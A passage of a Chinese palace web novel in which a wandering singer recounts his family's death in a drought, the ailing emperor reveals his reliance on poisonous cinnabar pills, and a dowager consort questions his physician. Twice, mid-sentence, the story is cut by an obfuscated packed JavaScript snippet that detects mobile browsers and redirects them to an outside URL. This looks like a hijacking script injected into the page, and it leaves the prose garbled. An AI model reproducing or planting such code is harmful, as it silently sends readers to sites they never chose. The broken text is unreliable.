秋淼果真停了曲,晃悠着走进来,眉头一挑,笑嘻嘻地道:“哟,没哭啊。” 冯矩白他一眼,起身穿鞋。 “这是振作起来了?你这脸怎么肿了,被小舅子打的?” “嘶——”冯矩坐在床沿,摸了摸脸颊,倒抽一口凉气,却微微笑了起来,“下手可真狠……” “前天找到的两坛烧刀子还在,喝两碗?” “多谢好意,但现在百事缠身,喝酒误事。” “噢,”秋淼抱臂,挠了挠下巴,“你这样儿,可不像没事啊。” “被你那曲儿一唱,倒有些显得矫情了。你这曲子,都是打哪听来的,大俗大雅,听着新鲜。” 秋淼瞅着他,张了张嘴,一副为难的模样。 冯矩察言观色,改口道:“算了,是我冒昧了。” 秋淼摸了摸胳膊上的鸡皮疙瘩,“一些陈年旧事,其实没什么,但每次与人提起,总有卖苦之嫌,不自在。你看,这还没说呢,胳膊上就起瘊子了……你等我一下。” 他起身出门,很快拎回一坛酒,坐在案边,扫开纸笔,拍开封口,浅倒了两碗。 冯矩知情识趣,没有再说什么“不得饮酒”的话,走过去,端起一碗,与他碰了一碰,抿了一口。 烈酒穿肠,这一刹,心底掩埋的情绪全都煮沸,冯矩心头一苦,忍不住再喝一口。 等他喝完,秋淼才开口:“我其实……是河西人。只是很小的时候逃荒到了京师,才练得一口雅言……乡音,早忘了。小时候,家里虽然贫苦,但有屋有田,爹娘健在,弟妹齐全,倒也过得有滋有味。我有四个弟弟,一个妹妹,妹妹行六,我们叫她榴娘。榴娘在家里不用干活,常去镇上听杂剧,喜欢上了唱戏。她也很有天赋,听过一遍,就能原腔原调地哼出来,再大一些,我跟村里的先生认了字,教给她,她就自己学着写了很多戏词……我常唱的,都是她从前写的。 后来,文景二十二年……” 秋淼顿了一顿,冯矩已经有种惨烈的预感——文景二十二、二十三、二十四年,河西大旱。 “算了……” 秋淼摇了摇头:“文景二十二年,河西大旱,家里交不起税收,把地典给乡绅,做了佃农。第二年还是旱年,饿殍遍地,家里实在没有半口余粮,爹娘先饿死,后来,弟弟们陆续病死,只剩我和榴娘相依为命,但我也病倒了,榴娘为了救我,跟了县老爷,我用她换来的粮食活了下来……那时候我太小,遇事心怯,不敢去见她,后来终于鼓起勇气,县老爷致仕,已经举家迁走了。我那时十四岁,榴娘也才八岁,自此杳无音信……后来我一个人,一路乞讨来到京师,每天求人赏一口饭吃,总算活了下来。” 说完,秋淼喝干净碗底的酒,握住冯矩的肩膀。 “我知道你很惨,家破人亡,举世无亲。但这世间啊,这样的人太多了。天地如炉,苍生刍狗,每个人只能在独属自己的命运里熬过去,百炼成钢。” 关山虽险,终成行路;沧海虽阔,亦渡舟航。 冯矩也将酒碗搁下,握住肩上的手,用力地拍了拍。 人啊,不能站在后面往回看,不然桩桩件件都是遗憾。 在黄家庄,无论重来多少次,他还是会做那样的选择。是他疯了。但是他这一生,能握住的从来不多。 他不能倒在这里,他要好好地回到京师,要见她无恙,如此才算勉强圆满。 59. 病笃 翌日一早,乔燕刚刚醒来,李琢就来请安了。 乔燕身子不爽利,宫中上下早知她病得不清,再加上李琢年纪尚小,索性就在榻上见了他。 宫女搬来绣墩,李琢恭谨地坐下,腰板挺直,双手置于膝上,仪态端正,且谈吐清晰,性情也沉稳许多。 乔燕自然要夸,李琢便道是两位长史教的好。 乔燕顺着话头,问起他的功课,李琢回道:“《论语》、《孝经》等都已读完,如今先生所授,有《大学》、《中庸》、《尚书》等经纶。除此之外,闲暇之余,束先生常与我说些《贞观治要》、《崇宁鼎书》等治国之典,可惜孩儿驽钝,常不得要领,白费了先生一番苦心。” 乔燕皱起眉。 开国以来,亲王不得亲近朝臣、不得习文练武,乃《齐太祖训》明确示下。束阳教这些书,哪里是亲王读得的。 可他生于高官之家,不会不懂这些…… “母妃?” “亲王不得参政,恒奴,你知道吧?” “是,孩儿自记事起就已知晓。” “那束阳为何还教你这些?” “母妃放心,先生并不曾系统教我,乃是我在先生书房见到这些书,好奇问起,先生见我感兴趣,偶尔同我参详两句,”李琢顿了顿,面颊微红,“儿时阿娘就常提醒我,不求文韬武略,只求平安度日,孩儿一直铭记在心,日后再不让先生说这些了。” “即便如此,以后也不得同外人提起。” “孩儿省得!” 五月初一,一则消息传遍京师:惠禧太妃业已回京,但在外受惊,体弱缠病,迁京郊繁园修养。 五月初七,过完端阳节,乔燕低调地去了繁园。 六月初,泗洲水患结束,百姓回迁。乔翀赶回京师,于繁园求见惠禧太妃,遭太妃婉拒。宜婵亲自到园外解释:太妃染了时疫,有传染之险,经过调理已有起色,不过还是不宜见人。 乔翀忧心忡忡地回京,于六月底再次前往繁园求见,仍被拒绝。 七月,乔翀再觐,乔燕隔着屏风接见了他。 十二月底,赶在春节前,乔燕回京,于除夕宫宴上露面,许多流言不攻自破。 不久,亳王李琢上书,想要恭请母妃去自己的王府就住。 去岁,李琢就藩的同时,在京师建府,后来回京,无人再提就藩之事,他就住进了宫外的府邸之中,并且把孙太妃接去同住。这次,他想接名义上的母亲回府,似乎也是顺理成章之事。 然而,这封陈条被皇帝按而不发,数日过去,皆无回应。李琢亲自面圣再请,圣上以公务繁忙为由将其呵斥了出去。 春分过后,昼长夜短,等到处理完政务,天光仍明亮。李稷将堆成小山的公文推至案角,按了按眉心,天人交战许久,终于把冷落了数日的奏本拿了起来。 “不要人跟着,你随我走一趟享纯宫。” 唐直抒碎步上前,搀扶皇帝起身,问道:“圣上,今日在何处用膳?” “不急,再说吧。” 抵达享纯宫时,宫门紧闭,李稷下意识左右张望,见无人路过,这才示意唐直抒叩门。应门的乃是于海,见到李稷,他没有声张,心领神会地将人放了进去。 “奴婢拜见圣上。太妃娘娘午后多用了点水晶芙蓉糕,不克化,正在后园消食。” “领路。” “是。” 享纯宫后头有一片小花园,引活水而过,假山玲珑,曲水淙淙,植数丛月季蔷薇,在这初春时分,已有花朵争妍。 乔燕领着宜婵站在池子上搭的石板桥上,手里握着一把鱼食,垂着头,慢悠悠地往水里撒。一群红金鲤鱼摇头摆尾地聚在脚下,远看像逶迤入水的红色裙摆。 夕阳斜照,她的面庞莹莹生光,唇角噙着若有似无的淡笑,恬静如画。 李稷一时不忍打扰,驻足远观。 自乔燕去繁园养胎生子后,这还是他们第一次见面。只一眼,日日夜夜噬心啮肺的嫉妒与痛苦骤然沉底,如疾的思念涌上心头。他忍不住抚上胸口,感受着那里如毛头小子一般怦怦狂跳。 他仿佛又回到了多年前的那个大雪天,他一身血污地趴在担架上,奄奄一息,她拦在路上,塞来一只手炉。 她就像今日注视着池鱼一样,垂首看着他。他用尽最后的力气睁大眼,看她迎着雪,像九天神女,怜悯温柔,无尘无暇。 他的心脏骤然狂跳,“怦怦,怦怦”。那场大雪,在他心里,纷纷扬扬落到今天,从未停下。 这些日子,他到底在赌什么气?为什么不早点来见她?为什么要在乎零碎的琐事,浪费所剩不多的时日? 最后一抹余晖沉入假山,乔燕下意识抬头,看到也不知站了多久的李稷,愣了一愣,许久未见,竟有种恍如隔世之感。 她撒净剩下的鱼食,缓步走上前。 “参见圣上。” “免礼。” “不知圣上突然前来所为何事?” 奏本就在袖子里,但李稷没有取,只说道:“给母后请安后,正好路过,故而来看看。” 乔燕迟疑地道:“天色已晚,不如入内说话……” “也好。” 主殿厅内,尚食局已经送来夕食,乔燕吩咐再添一副碗筷,李稷没有阻止,只在桌旁坐下,默默看着她忙活。 及至用膳,也无言语。 用完膳,天已经完全黑了,月亮尚未升起,满天星子争相生辉。收拾干净桌面,宜婵和唐直抒一起候在门外,抬头望天。唐直抒说道:“姑娘不妨回去歇着,这儿有我看着。” 宜婵摇摇头:“多谢掌印体贴,但我们家娘娘有些时候只用得惯我们这些老人。” “宜婵姑娘,今年多大啦?” “二十有六。” “哦?姑娘这年纪,怎么没有出宫?” “出宫去,也不过就是寻个男人嫁了,相夫教子,甚至没有做一宫典事自在。” 唐直抒看了看她,笑道:“司礼监的胡秉笔出宫荣养去了,临行前举荐了他的义子,姓金,是如今司礼监年纪最小的秉笔太监。这小金公公有笔稀罕事儿——前些日子,他抢着做西六所的差事,但后来不知怎的,再不肯踏进这儿半步。” “唐公公,您是来为他说项来了?” “姑娘是个爽快人,既然说开了,那咱家也就直言不讳了。咱家日日看着那孩子魂不守舍,确实有心替他问个明白。这宫里不说什么姻缘,但有合眼缘的人儿,凑一桌吃饭,也算摆脱了孤苦无照的日子,总能得些温暖。” “唐公公,您是过来人,这宫城里啊,朝云暮雨,不知道什么时候,就变了天,再位高权重之人,也算不得几时晴,几时雨。您说的这位金公公,怕是年纪尚小,看不开岁月无常,既然做到一监秉笔,已是人上人,什么女人要不得呢?” 唐直抒琢磨着她的话,叹道:“姑娘话都说到这份上了,咱家也只能回去这般劝他了。” 宜婵点了点头,没有再说话。她还是抬头看着天空,许久,忽然指着一角说道:“唐公公,您看那儿的星星,像不像拉弓的猎人。” 唐直抒不明所以,却还是和善地跟着看了半晌:“是有点像,姑娘还懂星象呢?” “我哪里懂这些,不过是去岁出宫在外,有位侍卫教了一点,拾人牙慧罢。” 唐直抒眼神微动,若有所思,正要再问,紧闭的房门内,忽然传出一阵撕心裂肺的咳嗽。 “来人!快请太医!”乔燕大喊。 外头只有两人,唐直抒心里一紧,对宜婵道:“不必声张!备壶热水来!” 宜婵忙道:“桌上有!” 唐直抒已经推开门,宜婵紧跟着,只见乔燕坐在地上,怀里搂着皇帝,皇帝咳得上气不接下气,胸前嘴角都是暗沉的鲜血,面如金纸,显然已是沉疴之状。 宜婵倒抽一口凉气。反观一旁的唐直抒,已经沉着地跑了过去,取过茶壶,从怀里掏出瓷瓶,倒出一粒朱红的药丸,就要喂给李稷服下。 不想,乔燕一把夺过药丸,嗅闻一下,厉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116342|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝问:“这是朱砂红丸!?” 唐直抒知道瞒不过,“……是。” 乔燕气得直打哆嗦:“怎么能吃这个!先帝,先帝就是吃这个垮了身体,你藏的什么祸心!还不去请太医!” 宜婵便要出门。唐直抒一把拉住,正要说话,却见一只手抬起,松松拢住乔燕手腕。 “是我的主意……莫要迁怒他……” 乔燕呆在原地。 那只冰凉的手轻拍她的手背,从她的掌心取过红色药丸,她神情怔忡,仿佛忘了阻止。唐直抒适时地捧上温水,喂李稷吃下。 不过片刻,李稷的面色红润起来,坐直身体,淡淡道:“你们出去。今夜之事,不得透露半分。” 宜婵担忧地看着自家娘娘,屈膝应承:“是。” 门复关上,李稷站起身,冲乔燕伸手,叹道:“地上冷,起来吧。” 乔燕不吭声地自个儿站了起来,进到内间,坐在床沿。 李稷犹豫几息,跟了上去,“……对不住,吓到你了。” “多久了?” “不说这……” “多久了!” 李稷缄默少倾,低声道:“很多年了。” “很多年是多久?” “自朕登基后,就开始服用红丸了……”李稷走过去,坐到她身边,踟蹰着握住她的手,“我从二十二岁起,蒙冤圈禁,足足六年。六年蹉跎,皇考对我不闻不问,奴婢们服侍得不尽心,克扣用度,到处磋磨,我和先皇后,都因此垮了身子。本来我身子骨还硬朗些,但那一年冬天,单衣受刑,能活下来已是万幸,彻底落下病根,唯有服用红丸,才能在人前撑起体面。” 乔燕沉默不语,李稷端详着她的脸色,试探地搂其入怀,轻声道:“红丸乃我逼崔院判于问天观旧址炼制而成,也只有他和唐直抒知道我的身体。大厦将倾,风雨飘摇,你曾涉政多年,一力托举我登基,对大齐的情况了然于胸,祸起萧墙,如果我在这时倒下,大齐恐怕也倒下了。” 话音落下,久久无声。李稷叹息,静静地把下巴搁在怀中人的发顶上,享受难得的温情。 “还有多久?” 许久,乔燕的声音闷闷地响起。 “恐怕不久了……” “多久?” “至多一年。” 将一切都说出来,李稷心里罕有的轻松,他不是圣人,不能明知自己的死期而坦然平静,可这些年,他只有将这些全都深埋心底,无人可诉。 “这两年,为了推动改革,有些事上,我手段酷烈,早已引起朝野不满……可是我实在没办法,我的时间不多了,若不能以雷霆手腕剿灭淮党,成就改革,待我去后,恐怕会迎来淮党激烈的反扑……” 他絮絮地说着,说着,忽而停住,怔然良久,微微笑了起来:“太妃娘娘,您是在为我而哭吗?” 许久后,乔燕才离开他的怀抱,除了眼睛还肿着,已经看不出来方才的失态。 她万分冷静地指出一件事:“圣上,这么些年,您不愿选秀,无后无子。” “是。所以我才没有放七弟去藩地,”李稷眼神分外温柔,“七弟记在你的名下,待他继位,你就是惠禧太后,无人再能欺负你。” 既然说到此事,李稷略一沉吟,索性说得更明白:“不知是不是我的身体走漏了风声,去年淮党开始接触我的六叔寿王。寿王今年四十有一,正值壮年,膝下幼女正值待嫁之龄。今年二月,南直隶吏部尚书的儿子娶了我的这位表妹,两家交往甚密……不过你不用担心,等到中秋,我会诏寿王入京团圆,将他困在京师,想来,当不会有失……” 说着说着,忽觉有交代遗言之感,李稷打住话头,捧起乔燕的脸,果见她眼圈又微微泛红,终于心满意足地笑了起来。 “你笑什么?” “太妃为我而哭,我很开心,死而无憾……这些年,我从来没有这么开心过……”李稷俯首,与她鼻尖私磨,得寸进尺,“娘娘,万寿殿好冷啊,今夜能不能容我在您这里过一夜……” 60. 疯了 一早,乔燕醒来时,天还未亮,枕边人却早已离去,被衾冰冷,恐怕是为了避开宫人,夜里就离开了。 乔燕也没了睡意,她松松拢了拢凌乱的头发,坐在床头。 “来人。” 昨儿值夜的宜婵举着灯台,耷着鞋进来。 “娘娘?” “我身体不舒服,去找崔院判来。” “娘娘,昨儿一十,百官休沐,太医院里恐怕只有值班的医官。” “你就说那些医官我信不过,只要崔院判来。若是不在宫里,就去府上请。” “是……” 宜婵没有多问,神色凝重地出门,先去后头排房叫醒齐思嘉替她待命,才亲自赶去太医院。 崔院判果然在家休息,宜婵费了好一番工夫,一直到卯时,才总算把人带了回来。 一进门,就被思嘉拦住,思嘉指着一桌早膳,低声道:“娘娘不肯用饭,奴婢们劝不动,待会姑姑再劝劝。” “娘娘人呢?” “还在内间。” 宜婵点了点头,通报之后,引崔院判入内。 乔燕仍然坐在床头,床帘低垂,只露出半截皓腕。她似模似样地咳了两声,说道:“你们出去。崔大人上前来,劳驾您替我看看。” 崔院判不疑有他,拎着医箱走进碧纱橱,坐在脚踏上。 可是这一诊脉,他额头的汗忽然下来了。 “娘,娘娘……” “怎么了?” “恕老臣愚钝,您,您这脉象……娘娘,微臣学艺不精,恐怕诊错了……” 床帐内,全然不似他这样慌张,女人不紧不慢地开了口:“崔大人乃圣手,怎会诊错,有话不妨直言。” “娘娘,您,您身体并无大恙,只是有些血亏气虚……” “崔大人是想说,产后体虚之症吧?” 崔院判脸色一白,扑通跪地。 “崔大人这是怎么了,您连喂圣上毒药的事都做了,还怕这点小事?” “娘娘慎言!老臣何曾做过此等欺君之事啊!” 静了片刻,乔燕叹了一声:“崔大人,我都知道了,昨天夜里,圣上在我这里发病,服下红丸。我是曾经服侍先帝的人,知道那红丸狠毒,听圣上说,乃您秘密炼制……您是圣上信任之人,我不欲为难您,我只想知道圣上身体究竟如何?” 这一席话透露的信息可太多了,幸而崔院判身经百战,很快稳住心神,生怕话里有诈,谨慎发问:“娘娘既然都知道了,为何不直接问圣上?” “圣上未必对我说了实话……他告诉我,至多还有一年……我问你,他的身体当真已经到了这种地步?可有治疗之法?” 崔院判天人交战,许久,咬牙道:“娘娘,圣上毕竟正值鼎盛之秋,如果停下红丸,悉心调理,恐怕能活五至七年,抑或更久……但如今他每日操劳,依靠红丸透支身体,这样下去,恐怕连一年都熬不到。” “要怎么调理?” “多静心休养,食寝有度,不可劳心费神……” 崔院判说着叹了口气。他们都知道,这些皇帝都不可能做到。 静了片刻,惠禧太妃问:“可有什么滋养的方子,你写给我。” “娘娘,圣上的身子已经空了,虚不受补,补药喝了也无用,不过老臣这里有些温和的药膳方子,或许能起些效果。” “有劳崔大人了。今日脉案,大人想必知道怎么写吧?” 送走崔院判后,乔燕将墨迹未干的膳食方子递给宜婵:“让小厨房照着这个做,每日早晚给圣上送去。” 宜婵自去吩咐,途经外间,看到一桌冷炙,才想起来乔燕尚未吃饭之事。 她多在小厨房逗留片刻,捧回一盅现做的山药粥,催着乔燕喝下。粥煮得清爽宜口,乔燕不知不觉就喝完了。 末冬时分,窗外横过一截枯枝,两只圆头虎脑的长尾山雀落下,啄食枝条上挂的红艳艳的果子。 天色阴翳,有微小的雪沫子往下掉。乔燕道:“我想了想,送药膳的事不可大张旗鼓,就你或者于海去送。外头下雨下雪的,记得打把伞,别把自个儿冻着了。这天也不知怎么回事,冷了好几年,夏天最热的时候也只似从前春天。” “您放心,我不会生病的,我要是病了,谁还陪着您呢。” 乔燕笑了笑,忽然道:“我想葭月儿了。” 葭月儿是她在繁园生下的女儿,她只见过一面,就被抱走了。后来回到宫城,日后怕是再无相见之日……纵使可以相见,也不可相识。 “我听人说,孩子生下来总是黑黢黢皱巴巴的,但那个孩子,刚生下来就白嫩可爱,她的手那么小,连我的拇指都握不住……我……我不是个称职的母亲,如果可以,我真的想亲自抚养她长大……” “娘娘……您别难过了,来日方长,以后什么样,谁都不知道。” “你说的是,怨天尤人没有用,”乔燕收拾了一下心情,忽然转了话头,“宜婵,你想出宫吗?我被困在了这里,但你不同,你还有选择,你要是想出宫,我来安排,送你风风光光地出去。” 宜婵迟疑了一下,突然跪了下来。 “娘娘,奴婢不瞒您,说不想出宫是假的……但我的前半生都在乔府和宫里,如果出去,我不知道我还能做什么……以前我想过找个良人嫁了……” “现在还可以啊,我记得之前那个护卫,江集,人就挺不错的。” “江集死了。” “……什么?” “那时候,逃命途中,江集为了护住亳王殿下,将一部分追兵引走,后来他的同僚带回了他的铜鱼……”宜婵解开腰间荷包,取出一枚铜鱼,那是京营士兵的身份牌,“以后出宫,我想找个机会把这个送还给他的爹娘,为他立个衣冠冢。” “你……”乔燕平生第一次不知道该说什么,“你先起来,坐下……怪不得,金春山来找过我,说你回宫后对他态度大变,原来是这样……” 宜婵挨着凳子坐下,神情没有乔燕想象里的悲伤,只是有些惘然。 “我不知道,娘娘,对江集我谈不上喜欢,只是觉得他是个可以托付终身的好人。可是他去世了,我也没有办法面对春山了……他去世后,我反而时时想起他的音容,活人好像没有办法比过亡人。” 她说着说着,仿佛下定了某种决心,站了起来:“娘娘,等会的药膳让于海去送吧,我想离开一趟。” 乔燕忧心忡忡地望着她:“你去吧。” 宜婵回到住所,从柜子里取出百般珍藏的玉簪,用木盒装好,去了司礼监。 夜里雪下大了。 这个时节的雪,比深冬的更薄,落在皮肤上,透着丝丝寒凉。 亳王在这时来访,乔燕心下惊讶,忙将人请进屋子,亲自倒了杯热水塞了过去。 少年在桌旁坐下,脸颊冻得微红,笑吟吟道:“孩儿来给母妃请安。” “请安又不少这一天,怎么这个点来了?现在赶去宫门,恐怕也赶不上了。” “无事,我今日在宫里住一宿,二哥也知道。今日正是二哥召我入宫,说我年纪不小了,是时候入朝观政,留我在勤政殿旁听了一天,后面又受二哥考校,才留到现在。” 说着,他的脸上露出几分忐忑,“母妃,二哥为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116343|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何突然如此栽培我,我是不是要拒绝?” 原来是为这个来的。 李琢自小在孙太妃谨小慎微的教导下长大,此生愿望就是做个于社稷无害的闲王,突然受皇帝重用,害怕也是正常。 思及皇帝此举缘由,乔燕心头隐隐发涩,叹了口气,轻柔地道:“你放心,尽管听你二哥的话……他不会害你。” 李琢知道自己这位母妃的厉害之处,见她如此笃定,便当真放下心来。 “对了,母妃,还有一件事。半个月前我就上书请您去王府同住,今日被二哥驳回,道是您身体不适,要在宫里调养。您哪里不适,可有儿子帮得上忙的?” 乔燕却是没有听说过此事,闻言只得帮皇帝找补道:“只是身子弱了些,时常请太医前来沿脉问诊。” “那就好,您可千万保重,我娘这几日就得了风寒,听说太后也病倒了,这天气乍暖还寒,最易伤寒。” 应对完少年的关心,乔燕亲自打灯将人送到享纯门外,李琢踩着雪离开,不知是不是因为今日受到皇帝青眼的原因,背影十分雀跃。走开两步,他转过头,看到乔燕为他站班,不由露出个无忧的笑,举起手,用力地挥了挥。 “七弟的性子比以前活泼多了。” 耳边忽然有人说话。乔燕吓了一跳,侧过身,看到李稷竟然站在另一侧夹道里,只有他一个人,连唐直抒都没带,也不知站了多久,肩上都被雪洇透了。 “您什么时候来的?!怎么就站在风雪里!” 乔燕握住他的手,只仿如在握冰坨子,又气又急。 “嘘——小点声,七弟还没走远呢。我偷偷来的。这小子在你这待了这么久,害我只能在外头吹风,这笔账明天我就跟他算。” “你不能进来,就不知道先回去么!” “我不回,我想见你,想得心脏疼……”李稷露出了有点可怜的神情。 “你喝酒了?” “只小酌了‘一点点’。” “你身体都这样了,你还喝酒!” 乔燕气得转身就往屋子里走,李稷跟在后头,院子里很多奴婢都见到了,吓得发起抖来。 宜婵到现在都没出现,于海也不知哪里去了,作为知情人的思嘉只得撑起场子,把一众奴婢聚集起来,匆匆警告了几句,让大家互相盯梢,在宜婵回来前谁都不许出院子,这才焦急地赶去主殿候命。 “送去的药膳吃了么?” “是您亲手做的吗?” “不是。” 李稷露出些许遗憾,点头道:“都吃了。” 关起门,幸好殿里烧了地龙,暖融一片,乔燕在桌边坐下,认真地告诫:“以后必须在亥时入睡,按时吃饭,不可饮酒,我送去的药膳要吃完……还有那红丸,能不吃就不要吃,若是有公务劳心,可以让亳王帮你。” “娘娘,这是在关心我吗?” “我在关心大齐!” 李稷神情有一瞬的黯然,很快重新露出微笑,祈求道:“您再容许我在这里歇一晚,我就全答应您。” 乔燕抵住他的肩头,忧心地道:“您该走了,方才,很多人都看到了……” “怕什么,”李稷反手握住她的手,深深地凝视过去,“太妃娘娘,我现在巴不得世人都知晓,我巴不得,您与我的名讳在无数人口中相传,在史书中留下语焉不详的暧昧一笔,由着后人反复揣度——启正皇帝与惠禧太妃是否有过首尾。” 乔燕倒抽一口凉气:“……你真是疯了。” “攻讦无效,换一个。” “……” 长夜漫漫,多的是彻夜难眠之人。 61. 放权 二月初七,风尘仆仆的冯矩抵达京师。 冯府被抄后,他颠沛流离,居无定所,骤然回京,才发觉竟无一处落脚之地。幸好束阳早有预料,行事妥帖,接他入府梳洗一番,换上补服,入宫面圣。 上次踏入金銮殿是何时,记忆已不可考,时移事易,旧天子成了万寿山下的一抔黄土,宫城依旧在那里,弥久不变。它见证了多少意气与衰亡?它沉默不言。 冯矩步履匆匆,只在途经承天门时,忍不住驻足了片刻。他仿佛又看到了文景四十年的那场大雪,纷纷扬扬,永不落幕。 去年春汛后,他在泗州停留至八月,征用民夫,筑坝修渠,成功渡过夏秋雨季,使百姓回迁。而如果想彻底解决未来泗州城的洪灾,势必要人为改黄河入海水道,此等工程耗费巨甚,已由皇帝交给术业有专攻的工部于侍郎,而遣冯矩往南直隶督查六部,一去又是半年。 这次召冯矩回京,乃是为商议开海事宜。 当初束阳带回由其草拟的《变法疏议》,对开海一事颇有成计,正好如今李稷无人可用,便在这时想起被遗忘在南直隶许久的冯矩。 过了午门,便有青衣太监相候,冯矩一路跟着他,入会极门,至勤政殿。 殿内,三公九卿、六部堂官、内阁阁臣、乃至司礼监的太监,都已汇聚一堂,分列两侧,庄严肃穆。三交六椀菱花槅扇门大开,阳光倾斜地照进殿内,与记忆中的某一幕无限重叠。 冯矩迈过地袱的动作不由顿了顿,回忆起文景三十九年。那一年是他生命里最黑暗的一年,冯家蒙冤,遍寻脏银不见,愍帝提他入殿廷审,那时候,也是这个阵仗。 那也是他破后而立的一年。 记忆里,那一天的乔燕就站在视野的最前方,穿着青色通袖袍,在满堂威严里,投来唯一带有温度的视线。 于是,他下意识抬头,朝最前方看去,却只看到年轻的帝王。 帝王也正审视着他:“为何停下?” 冯矩收回思绪,迎着众目,从容地走回权力的中央。 这次回京,因先前巡按淮地、纠察官情、救助灾民等功,冯矩升户部侍郎,加授“海运总督”钦差一职。户部十三清吏司增设专职海运的郎中与主事,直接交由冯矩负责。 廷议过后,冯矩与束阳相伴出宫,仍然是午门处,有一位眼熟的太监等在那里,见到冯矩便迎上前。 “冯大人,晓得您在京中没有住处,圣上赐了一套大时雍坊的宅子给您,吩咐奴婢带您过去。” 大时雍坊住着的多是高门勋贵,束府就在坊里的安福胡同,束阳于是多问了一句:“在哪条街道?” “就在西南边的香椿胡同里。” 束阳说道:“倒是不远,就隔着一条街。既然顺路,不如我送子规兄一程。” 太监忙道:“不劳烦束大人了,奴婢已为冯大人配好马车,就在金水桥外头。” 束阳没再勉强,与冯矩作别。 冯矩跟着太监上了马车,太监自我介绍叫做“刘秋棠”,乃唐直抒义子之一,冯矩这才有些印象。后来一路无话,直至宅邸外,刘太监跟着下了马车,没有取钥匙,而是叩响铺首衔环。 “有人吗?是我,刘秋棠!” 里面立马有人拉开了门,是两个冯矩完全脸生的太监。纵使圣上赐宅,也不至于安排太监伺候,到这时,冯矩心里的困惑已经快要到达顶峰,却因为涵养未曾言之于口。 刘秋棠似乎也没有解释的意思,闷头带路,冯矩跟着,一路走入二进的院子,忽然怔住——一位面熟的妇人站在院子里,她的怀里抱着一个一岁多的女婴。他们进来时,妇人正轻声哄女婴入睡,见到刘秋棠做了个“嘘声”的动作,又与冯矩面面相觑。 “冯大人,”刘秋棠轻声道,“这是您的女儿,小字温奴儿,圣上赐名‘缪’,冯缪。” 这天午后睡醒,乔燕去陪病重的太后说了会话。冬天因伤寒病倒后,太后再也没从床榻上起来过。她是慜帝的第二任皇后,年六十有七,这么大的岁数,生一场大病,基本也就意味着到尽头了。 乔燕虽为太妃,明面上与太后是一辈,但两人岁数相差太大,并无什么话可说。往常乔燕坐一会儿,太后就乏了,但这天,太后罕见的有了些精神,拉着乔燕讲了一会儿佛经里的“往生”故事。 说到一半,太后支开身边的掌事姑姑金波,话题陡然一转:“哀家恐怕大限将至,心里唯二牵挂,其一便是金波,她自垂髫时就跟了哀家,到了出宫的年纪也舍不得离开,自己梳了头,伺候哀家至今,没有夫家也没有孩子。惠禧啊,你曾跟着哀家抄过两年佛经,哀家知道这宫里头,你算是个有情义的,等哀家百年后,还请你照看着她。” 乔燕听着心里伤感,,点头应下,又问起太后心里的另一个牵挂是什么。 太后凝视着她,起初是审视,继而涌出迷惑,最后,她的眼睛里的锋芒慢慢黯淡下去,仿佛蒙了一层灰蒙的雾气,终于像个垂暮老人的眼睛了。乔燕与她对视着,心里发颤,也不知为何忽然觉出愧疚与自责,她的嘴唇微微抖动,几乎要难以控制地避开眼睛。 太后许久才叹了口气,对第二个牵挂闭口不言。 因为那个眼神,乔燕一路上都心神不宁,回到享纯宫,只见道旁偏殿里,几个宫女凑在一处唉声叹气。 “这是怎么了?” 见到乔燕,宫女们忙起身行礼,露出围在当中的人,居然是宜婵。宜婵福了一福,举起手里的书信,欲言又止:“奴婢们收到了黎月寄来的信……” “黎月怎么了?她不是出宫嫁人了吗?” “黎月父亲本有功名在身,于启正元年恩科中举,在泰州盐课司任职,但是去年,朝廷钦差巡按查账,处斩了一批吏目,她父亲也在其中。人走茶凉,她的夫家如今对她不算好,她信中说,已经和离了。” 到底是相处过几年的旧识,更何况从前黎月处处尽心,主仆关系十分亲密。她出宫时,乔燕十分不舍,还给了一大笔嫁妆。 乔燕心中不忍:“那她以后可有什么打算?若有困难,我倒是可以帮衬一二。” 宜婵道:“奴婢写信问问。” 这封信发出去不久,京师下了一场冻雨,天气倒寒,冻死无数回迁的候鸟。太后没能熬过这场寒潮,于二月望日驾薨。 启正帝大恸,扶灵而哭,歇朝三月。诸亲王入京服丧,然而最受皇帝关注的寿王并未现身,只遣了长子李瑁入京,李瑁有言,其父也因寒潮生了大病,卧床不起。李稷失望不已,却还得安慰李瑁。 三个月后,太后入皇陵,与慜帝合葬,谥“孝昭穆慜敬贞庄烈”皇后。慈宁宫掌事金波自请去皇陵守孝,乔燕碍于曾答应太后之事,再三问询,终于确定其忠行如一,方觉感佩,亲自送其出宫。 丧事方毕,宫里气氛本该为之一松,只是这时又出了一件大事——启正帝也病倒了。 歇朝的三个月里,虽未举办大小朝会,但每日的晨议并未取消,启正帝照常处理公务。而最近的大事件自然是开海,金陵龙江关船厂造了数条巨型宝船,携满仓货物北上,一路无阻,居然只花了从前漕运一半的时间就抵达了京师。圣心大悦,奖赏督办此事的冯矩等官员,并命有司尽快定下海运航线。 然而,就在第二批宝船试行的时候,不知从何处冒出一群海盗,抢走一船货物不说,还砸沉一艘宝船,消息传到京师时,正是三个月后的第一个大朝会,圣上闻此噩耗,脸色一白,当庭吐了一口血,被太监抬了下去。 五月初五,又是一年端阳节,若是往年,京中华服子弟齐聚郊外赛龙舟,好不热闹,今年却因皇帝病倒而一片惨淡。上午,乔燕接见过请安的寿王长子李瑁,待送走李瑁,就赶去了皇帝的寝宫。 